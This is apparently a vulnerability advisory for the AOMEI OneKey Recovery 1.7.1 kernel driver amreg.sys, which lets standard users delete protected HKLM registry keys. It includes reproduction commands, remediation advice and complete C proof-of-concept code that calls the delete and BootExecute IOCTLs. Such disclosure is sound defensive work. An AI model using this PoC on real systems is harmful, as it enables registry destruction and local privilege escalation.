AOMEI OneKey Recovery 1.7.1 Kernel Driver amreg.sys Local Privilege Escalation via Arbitrary Registry Key Deletion

Summary

AOMEI OneKey Recovery 1.7.1 installs the kernel driver `amreg.sys`. When loaded, the driver exposes a user-accessible device at `\\.\amreg`. IOCTL `0x222000` accepts a caller-supplied HKLM registry subpath and recursively deletes the selected key tree from kernel context.

In the validation below, a standard user could not directly delete a protected HKLM test key tree. The same user deleted that protected key tree through `\\.\amreg`.

An unprivileged user can exploit an arbitrary registry deletion primitive to achieve local privilege escalation under certain circumstances, such as corrupting security descriptors to trigger ACL resets on protected service keys, orphaning COM registrations to enable phantom CLSID hijacking, or destabilizing service configuration entries to plant malicious binary paths ahead of SCM reconstruction.

Affected Product and Version

- Product: AOMEI OneKey Recovery
- Tested version: 1.7.1
- Installed product path: `C:\Program Files (x86)\AOMEI OneKey Recovery 1.7.1\OneKey.exe`
- Driver path: `C:\Windows\System32\amreg.sys`
- Driver SHA-256: `19A65299C721B1798B788DF0F54FC196267814B54FEED9076986A2A8630CBE73`

Download URL and SHA-256

- Download URL: `https://www2.aomeisoftware.com/download/ok/OneKeyDemo.exe`
- File name: `OneKeyDemo.exe`
- Installer SHA-256: `9719E1ABDE7FB8C6BB8330D7CED83C7ED95BF5385B0280E5B059111A69572B08`
- Installer version: `1.7.1`
- Installer signature: Valid, AOMEI International Network Limited
- Driver signature: Authenticode returned `UnknownError`; signer certificate subject was `CHENGDU AOMEI Tech Co., Ltd.`

Vulnerability Type

Local privilege escalation / Windows registry access-control bypass through a kernel-mode recursive registry delete IOCTL.

Impact

A low-privileged local user can delete protected registry keys under HKLM through `amreg.sys`. This can destroy security-sensitive or availability-sensitive configuration such as service registrations, product policy keys, or other protected HKLM configuration.

The validation used only a self-created key tree under `HKLM\SOFTWARE\VendorRepro`.

Test Environment

- OS: Windows, x64 test VM
- Administrator account used only for installation, driver loading, and test-object setup
- Test user: standard user `EXPDEV\low`
- Test user integrity: Medium Integrity
- Test user groups: `BUILTIN\Users`, not `BUILTIN\Administrators`
- Test key tree: `HKLM\SOFTWARE\VendorRepro\AomeiAmreg`

Driver Load / Setup Steps

1. Downloaded the official AOMEI OneKey Recovery installer.
2. Installed AOMEI OneKey Recovery. The installer copied `amreg.sys` to `C:\Windows\System32\amreg.sys`.
3. Loaded the installed driver without reboot by creating a temporary kernel service:

```
sc.exe create AomeiAmregRepro type= kernel start= demand binPath= C:\Windows\System32\amreg.sys
sc.exe start AomeiAmregRepro
```

4. Confirmed the driver was running:

```
SERVICE_NAME: AomeiAmregRepro
TYPE               : 1  KERNEL_DRIVER
STATE              : 4  RUNNING
```

Reproduction Steps

Create a controlled protected registry tree as administrator:

```
New-Item -Path HKLM:\SOFTWARE\VendorRepro\AomeiAmreg\Child -Force
New-ItemProperty -Path HKLM:\SOFTWARE\VendorRepro\AomeiAmreg -Name Guard -Value AOMEI-AMREG-PROTECTED-DELETE-9542afe5-305a-4eb1-95c6-20dab2dcc565 -PropertyType String -Force
New-ItemProperty -Path HKLM:\SOFTWARE\VendorRepro\AomeiAmreg\Child -Name ChildGuard -Value AOMEI-AMREG-PROTECTED-DELETE-9542afe5-305a-4eb1-95c6-20dab2dcc565 -PropertyType String -Force
```

Run the following as a standard user.

Direct protected HKLM key deletion fails:

```
reg delete HKLM\SOFTWARE\VendorRepro\AomeiAmreg /f
```

Observed:

```
ERROR: Access is denied.
```

Delete the same protected key tree through the AOMEI driver:

```
aomei_amreg_registry_delete_poc.exe --delete SOFTWARE\VendorRepro\AomeiAmreg --i-understand-this-destroys-registry
```

Observed:

```
delete IOCTL target HKLM\SOFTWARE\VendorRepro\AomeiAmreg -> OK, GetLastError=0
```

An administrator query confirms the key tree was removed:

```
ERROR: The system was unable to find the specified registry key or value.
```

Why This Proves the Vulnerability

The test user is a standard user at Medium Integrity. Windows correctly denies direct deletion of the protected HKLM key tree. The same user can delete that tree through `\\.\amreg`.

This proves that `amreg.sys` exposes privileged registry deletion functionality to low-privileged callers without enforcing the expected Windows registry access checks.

Cleanup Steps

```
Remove-Item HKLM:\SOFTWARE\VendorRepro -Recurse -Force
sc.exe stop AomeiAmregRepro
sc.exe delete AomeiAmregRepro
unins000.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART
Remove-Item C:\ProgramData\VendorRepro -Recurse -Force
```

Suggested Remediation

- Remove the recursive registry delete IOCTL from the public device interface.
- Restrict the `\\.\amreg` device object ACL so standard users cannot open it.
- Require administrative authorization before accepting registry deletion requests.
- If kernel-mode registry access is required, impersonate the caller and force normal access checks on opened registry objects.
- Replace the current path-based delete interface with a tightly scoped, product-specific operation that cannot target arbitrary HKLM paths.

POC

```
// FND-012 compile-only PoC.
// AOMEI amreg.sys registry DACL bypass / recursive delete primitive.
// Nothing destructive runs unless the explicit acknowledgement flag is present.


#define _CRT_SECURE_NO_WARNINGS
```

```
#include <windows.h>
#include <stdio.h>
#include <wchar.h>

#define IOCTL_AMREG_DELETE_KEY 0x222000u
#define IOCTL_AMREG_BOOTEXEC   0x22200Cu

static void usage(void) {
    fwprintf(stderr,
        L"usage:\n"
        L"  aomei_amreg_registry_delete_poc.exe --delete <HKLM-subpath> --i-understand-this-destroys-registry\n"
        L"  aomei_amreg_registry_delete_poc.exe --bootexecute --i-understand-this-destroys-registry\n"
        L"\nexample noncritical test path: SOFTWARE\\\\AOMEI\\\\amreg-test\n");
}

static const wchar_t *arg_value(int argc, wchar_t **argv, const wchar_t *name) {
    for (int i = 1; i + 1 < argc; ++i) if (wcscmp(argv[i], name) == 0) return argv[i + 1];
    return NULL;
}

static int has_arg(int argc, wchar_t **argv, const wchar_t *name) {
    for (int i = 1; i < argc; ++i) if (wcscmp(argv[i], name) == 0) return 1;
    return 0;
}

int wmain(int argc, wchar_t **argv) {
    const int ack = has_arg(argc, argv, L"--i-understand-this-destroys-registry");
    const wchar_t *target = arg_value(argc, argv, L"--delete");
    const int bootexecute = has_arg(argc, argv, L"--bootexecute");
    if (!ack || ((target != NULL) == bootexecute)) {
        usage();
        return 2;
    }

    HANDLE h = CreateFileW(L"\\\\.\\amreg", GENERIC_READ,
                           FILE_SHARE_READ | FILE_SHARE_WRITE,
                           NULL, OPEN_EXISTING, 0, NULL);
    if (h == INVALID_HANDLE_VALUE) {
        wprintf(L"open \\\\.\\amreg failed: %lu\n", GetLastError());
        return 1;
```

```
    }

    DWORD bytes = 0;
    BOOL ok;
    if (target) {
        size_t chars = wcslen(target) + 1;
        if (chars > 511) {
            fwprintf(stderr, L"target path too long for amreg input buffer\n");
            CloseHandle(h);
            return 2;
        }
        ok = DeviceIoControl(h, IOCTL_AMREG_DELETE_KEY,
                             (LPVOID)target, (DWORD)(chars * sizeof(WCHAR)),
                             NULL, 0, &bytes, NULL);
        wprintf(L"delete IOCTL target HKLM\\%ls -> %ls, GetLastError=%lu\n",
                target, ok ? L"OK" : L"FAIL", GetLastError());
    } else {
        ok = DeviceIoControl(h, IOCTL_AMREG_BOOTEXEC,
                             NULL, 0, NULL, 0, &bytes, NULL);
        wprintf(L"BootExecute test-write IOCTL -> %ls, GetLastError=%lu\n",
                ok ? L"OK" : L"FAIL", GetLastError());
    }

    CloseHandle(h);
    return ok ? 0 : 1;
}
```

Revision #3
Created 25 May 2026 17:33:38 by winslow
Updated 25 May 2026 17:43:01 by winslow